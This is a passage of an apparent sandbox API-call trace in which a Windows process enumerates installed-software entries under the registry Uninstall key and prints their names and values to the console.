lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.401] GetConsoleOutputCP () returned 0x1b5 [0150.402] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.402] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.402] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.402] __iob_func () returned 0x7fefd702a80 [0150.402] _fileno (_File=0x7fefd702ab0) returned 1 [0150.402] _errno () returned 0x204bb0 [0150.402] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.402] _errno () returned 0x204bb0 [0150.402] GetFileType (hFile=0x50) returned 0x1 [0150.402] lstrlenW (lpString=" ") returned 4 [0150.402] GetConsoleOutputCP () returned 0x1b5 [0150.402] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.402] GetConsoleOutputCP () returned 0x1b5 [0150.402] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.402] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.402] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.402] __iob_func () returned 0x7fefd702a80 [0150.402] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.402] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x0") returned 3 [0150.402] _fileno (_File=0x7fefd702ab0) returned 1 [0150.402] _errno () returned 0x204bb0 [0150.402] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.402] _errno () returned 0x204bb0 [0150.402] GetFileType (hFile=0x50) returned 0x1 [0150.402] lstrlenW (lpString="0x0") returned 3 [0150.403] GetConsoleOutputCP () returned 0x1b5 [0150.403] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.403] GetConsoleOutputCP () returned 0x1b5 [0150.403] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0150.403] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.403] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.403] __iob_func () returned 0x7fefd702a80 [0150.403] _fileno (_File=0x7fefd702ab0) returned 1 [0150.403] _errno () returned 0x204bb0 [0150.403] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.403] _errno () returned 0x204bb0 [0150.403] GetFileType (hFile=0x50) returned 0x1 [0150.403] lstrlenW (lpString="\n") returned 1 [0150.403] GetConsoleOutputCP () returned 0x1b5 [0150.403] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.403] GetConsoleOutputCP () returned 0x1b5 [0150.403] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.403] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.403] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.404] GetProcessHeap () returned 0x3c0000 [0150.404] GetProcessHeap () returned 0x3c0000 [0150.404] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.404] GetProcessHeap () returned 0x3c0000 [0150.404] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.404] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.404] RegEnumValueW (in: hKey=0x5c, dwIndex=0x17, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.404] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x28) returned 0x0 [0150.404] GetProcessHeap () returned 0x3c0000 [0150.404] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2a) returned 0x3d78d0 [0150.404] GetProcessHeap () returned 0x3c0000 [0150.404] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0150.404] GetProcessHeap () returned 0x3c0000 [0150.404] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x2a [0150.404] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d78d0, pcbData=0x29f780*=0x28 | out: pdwType=0x29f700*=0x1, pvData="Adobe Reader X MUI", pcbData=0x29f780*=0x26) returned 0x0 [0150.404] __iob_func () returned 0x7fefd702a80 [0150.404] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.404] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.404] _fileno (_File=0x7fefd702ab0) returned 1 [0150.404] _errno () returned 0x204bb0 [0150.404] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.404] _errno () returned 0x204bb0 [0150.404] GetFileType (hFile=0x50) returned 0x1 [0150.404] lstrlenW (lpString=" ") returned 4 [0150.404] GetConsoleOutputCP () returned 0x1b5 [0150.404] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.404] GetConsoleOutputCP () returned 0x1b5 [0150.405] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.405] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.405] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.405] lstrlenW (lpString="DisplayName") returned 11 [0150.405] __iob_func () returned 0x7fefd702a80 [0150.405] _fileno (_File=0x7fefd702ab0) returned 1 [0150.405] _errno () returned 0x204bb0 [0150.405] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.405] _errno () returned 0x204bb0 [0150.405] GetFileType (hFile=0x50) returned 0x1 [0150.405] lstrlenW (lpString="DisplayName") returned 11 [0150.405] GetConsoleOutputCP () returned 0x1b5 [0150.405] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0150.405] GetConsoleOutputCP () returned 0x1b5 [0150.405] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0150.405] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0150.405] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.405] __iob_func () returned 0x7fefd702a80 [0150.405] _fileno (_File=0x7fefd702ab0) returned 1 [0150.405] _errno () returned 0x204bb0 [0150.405] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.405] _errno () returned 0x204bb0 [0150.405] GetFileType (hFile=0x50) returned 0x1 [0150.405] lstrlenW (lpString=" ") returned 4 [0150.405] GetConsoleOutputCP () returned 0x1b5 [0150.406] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.406] GetConsoleOutputCP () returned 0x1b5 [0150.406] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.406] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.406] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.406] __iob_func () returned 0x7fefd702a80 [0150.406] _fileno (_File=0x7fefd702ab0) returned 1 [0150.406] _errno () returned 0x204bb0 [0150.406] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.406] _errno () returned 0x204bb0 [0150.406] GetFileType (hFile=0x50) returned 0x1 [0150.406] lstrlenW (lpString="REG_SZ") returned 6 [0150.406] GetConsoleOutputCP () returned 0x1b5 [0150.406] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.406] GetConsoleOutputCP () returned 0x1b5 [0150.406] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.406] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.406] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.406] __iob_func () returned 0x7fefd702a80 [0150.407] _fileno (_File=0x7fefd702ab0) returned 1 [0150.407] _errno () returned 0x204bb0 [0150.407] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.407] _errno () returned 0x204bb0 [0150.407] GetFileType (hFile=0x50) returned 0x1 [0150.407] lstrlenW (lpString=" ") returned 4 [0150.407] GetConsoleOutputCP () returned 0x1b5 [0150.407] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.407] GetConsoleOutputCP () returned 0x1b5 [0150.407] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.407] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.407] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.407] __iob_func () returned 0x7fefd702a80 [0150.407] _fileno (_File=0x7fefd702ab0) returned 1 [0150.407] _errno () returned 0x204bb0 [0150.407] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.407] _errno () returned 0x204bb0 [0150.407] GetFileType (hFile=0x50) returned 0x1 [0150.407] lstrlenW (lpString="Adobe Reader X MUI") returned 18 [0150.407] GetConsoleOutputCP () returned 0x1b5 [0150.407] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Adobe Reader X MUI", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0150.407] GetConsoleOutputCP () returned 0x1b5 [0150.408] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Adobe Reader X MUI", cchWideChar=18, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe Reader X MUI", lpUsedDefaultChar=0x0) returned 18 [0150.408] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 18 [0150.408] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.408] __iob_func () returned 0x7fefd702a80 [0150.408] _fileno (_File=0x7fefd702ab0) returned 1 [0150.408] _errno () returned 0x204bb0 [0150.408] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.408] _errno () returned 0x204bb0 [0150.408] GetFileType (hFile=0x50) returned 0x1 [0150.408] lstrlenW (lpString="\n") returned 1 [0150.408] GetConsoleOutputCP () returned 0x1b5 [0150.408] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.408] GetConsoleOutputCP () returned 0x1b5 [0150.408] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.408] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.408] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.408] GetProcessHeap () returned 0x3c0000 [0150.408] GetProcessHeap () returned 0x3c0000 [0150.408] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0150.408] GetProcessHeap () returned 0x3c0000 [0150.408] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x2a [0150.408] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0 | out: hHeap=0x3c0000) returned 1 [0150.408] __iob_func () returned 0x7fefd702a80 [0150.408] _fileno (_File=0x7fefd702ab0) returned 1 [0150.408] _errno () returned 0x204bb0 [0150.409] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.409] _errno () returned 0x204bb0 [0150.409] GetFileType (hFile=0x50) returned 0x1 [0150.409] lstrlenW (lpString="\n") returned 1 [0150.409] GetConsoleOutputCP () returned 0x1b5 [0150.409] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.409] GetConsoleOutputCP () returned 0x1b5 [0150.409] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.409] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.409] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.409] GetProcessHeap () returned 0x3c0000 [0150.409] GetProcessHeap () returned 0x3c0000 [0150.409] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0150.409] GetProcessHeap () returned 0x3c0000 [0150.409] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x28 [0150.409] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0150.409] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.409] GetProcessHeap () returned 0x3c0000 [0150.409] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0150.409] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}") returned 121 [0150.409] GetProcessHeap () returned 0x3c0000 [0150.409] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xf6) returned 0x3e1c70 [0150.409] GetProcessHeap () returned 0x3c0000 [0150.409] GetProcessHeap () returned 0x3c0000 [0150.409] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.409] GetProcessHeap () returned 0x3c0000 [0150.409] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0150.409] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.410] GetProcessHeap () returned 0x3c0000 [0150.410] GetProcessHeap () returned 0x3c0000 [0150.410] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.410] GetProcessHeap () returned 0x3c0000 [0150.410] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xf6 [0150.410] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0150.410] RegCloseKey (hKey=0x5c) returned 0x0 [0150.410] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x20, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{B175520C-86A2-35A7-8619-86DC379688B9}", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.410] __iob_func () returned 0x7fefd702a80 [0150.410] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.410] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}\n") returned 122 [0150.410] _fileno (_File=0x7fefd702ab0) returned 1 [0150.410] _errno () returned 0x204bb0 [0150.410] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.410] _errno () returned 0x204bb0 [0150.410] GetFileType (hFile=0x50) returned 0x1 [0150.410] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}\n") returned 122 [0150.410] GetConsoleOutputCP () returned 0x1b5 [0150.410] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}\n", cchWideChar=122, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 122 [0150.410] GetConsoleOutputCP () returned 0x1b5 [0150.410] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}\n", cchWideChar=122, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}\n", lpUsedDefaultChar=0x0) returned 122 [0150.410] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 122 [0150.410] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.410] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{B175520C-86A2-35A7-8619-86DC379688B9}", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0150.411] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x19, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.411] GetProcessHeap () returned 0x3c0000 [0150.411] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x28) returned 0x3d5c30 [0150.411] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="AuthorizedCDFPrefix", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.411] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.411] GetProcessHeap () returned 0x3c0000 [0150.411] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.411] GetProcessHeap () returned 0x3c0000 [0150.411] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.411] GetProcessHeap () returned 0x3c0000 [0150.411] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.411] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.411] __iob_func () returned 0x7fefd702a80 [0150.411] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.411] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.411] _fileno (_File=0x7fefd702ab0) returned 1 [0150.411] _errno () returned 0x204bb0 [0150.411] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.411] _errno () returned 0x204bb0 [0150.411] GetFileType (hFile=0x50) returned 0x1 [0150.411] lstrlenW (lpString=" ") returned 4 [0150.411] GetConsoleOutputCP () returned 0x1b5 [0150.411] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.411] GetConsoleOutputCP () returned 0x1b5 [0150.411] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.411] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.411] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.412] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0150.412] __iob_func () returned 0x7fefd702a80 [0150.412] _fileno (_File=0x7fefd702ab0) returned 1 [0150.412] _errno () returned 0x204bb0 [0150.412] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.412] _errno () returned 0x204bb0 [0150.412] GetFileType (hFile=0x50) returned 0x1 [0150.412] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0150.412] GetConsoleOutputCP () returned 0x1b5 [0150.412] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0150.412] GetConsoleOutputCP () returned 0x1b5 [0150.412] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AuthorizedCDFPrefix", lpUsedDefaultChar=0x0) returned 19 [0150.412] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0150.412] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.412] __iob_func () returned 0x7fefd702a80 [0150.412] _fileno (_File=0x7fefd702ab0) returned 1 [0150.412] _errno () returned 0x204bb0 [0150.412] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.412] _errno () returned 0x204bb0 [0150.412] GetFileType (hFile=0x50) returned 0x1 [0150.412] lstrlenW (lpString=" ") returned 4 [0150.412] GetConsoleOutputCP () returned 0x1b5 [0150.412] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.413] 